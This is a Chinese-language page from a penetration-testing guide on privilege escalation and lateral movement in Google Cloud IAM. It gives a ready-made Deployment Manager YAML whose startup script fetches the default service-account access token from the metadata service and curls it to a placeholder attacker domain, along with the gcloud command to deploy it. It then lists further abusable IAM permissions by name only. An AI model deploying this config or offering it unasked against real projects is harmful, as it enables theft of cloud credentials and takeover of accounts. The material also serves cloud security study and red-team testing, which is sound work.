特权升级和横向移动

IAM 权限

绝大多数权限提升技术都是围绕成员的角色和权限进行的。 请记住,GCP 权限用于决定成员有权访问哪些资源
● https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
● https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/

Deploymentmanager.deployments.create

此权限允许您将资源部署为“cloudservices.gserviceaccount.com”,默认情况下具有编辑者角色。 攻击者可以滥用此权限来创建计算实例,添加启动脚本以通过元数据服务收集服务帐户访问令牌,最后将其发送回攻击者。
第一步是创建用于设置计算引擎实例的 YAML 文件。
请注意,启动脚本向元数据服务发出 curl 请求,然后它获取响应并将其发送到攻击者的计算机。 这个配置文件可以在下面找到,
只需将 <ATTACKER-DOMAIN-HERE> 行替换为您的域或 ip:
resources:
- name: vm-created-by-deployment-manager
  type: compute.v1.instance
  properties:
    zone: us-central1-a
    machineType: zones/us-central1-a/machineTypes/n1-standard-1
    disks:
       deviceName: boot
    type: PERSISTENT
    boot: true
    autoDelete: true
    initializeParams:
        sourceImage: projects/debian-cloud/global/images/family/debian-9
    networkInterfaces:
    - network: global/networks/default
      accessConfigs:
        - name: External NAT
        type: ONE_TO_ONE_NAT
    metadata:
      items:
      - key: startup-script
        value: |
            #!/bin/bash
            apt-get update
            apt-get install -y curl 
            curl http://<ATTACKER-DOMAIN-HERE>/gce_token -d $(curl
            http://169.254.169.254/computeMetadata/v1beta1/instance/service-accounts/default/token)
    serviceAccounts:
    - email: default
      scopes:
        - https://www.googleapis.com/auth/cloud-platform
接下来,您需要使用部署管理器命令创建计算引擎
如下所示:
gcloud deployment-manager deployments create <DEPLOYMENT-NAME> --config <CONFIG-FILE-NAME>.yaml
计算引擎启动后,您应该会收到带有新创建的访问令牌的回调

iam.roles.update

iam.serviceAccounts.getAccessToken

iam.serviceAccountKeys.create

iam.serviceAccounts.actAs

GCP IAM 权限提升工具

最后更新于

这有帮助吗?